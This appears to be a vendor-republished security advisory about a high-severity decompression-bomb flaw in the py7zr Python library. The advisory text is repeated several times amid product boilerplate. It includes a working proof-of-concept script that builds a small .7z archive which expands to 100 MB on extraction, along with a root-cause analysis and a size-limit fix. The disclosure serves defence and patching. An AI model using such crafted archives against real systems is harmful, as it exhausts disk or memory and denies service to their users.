py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
Update py7zr to 1.1.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanpy7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size affects py7zr (pip). Severity is high. py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| py7zrpip | <=1.1.2 | 1.1.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate py7zr to 1.1.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanpy7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size affects py7zr (pip). Severity is high. py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.
AI coding agents often install or upgrade packages automatically in pip. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| py7zrpip | <=1.1.2 | 1.1.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard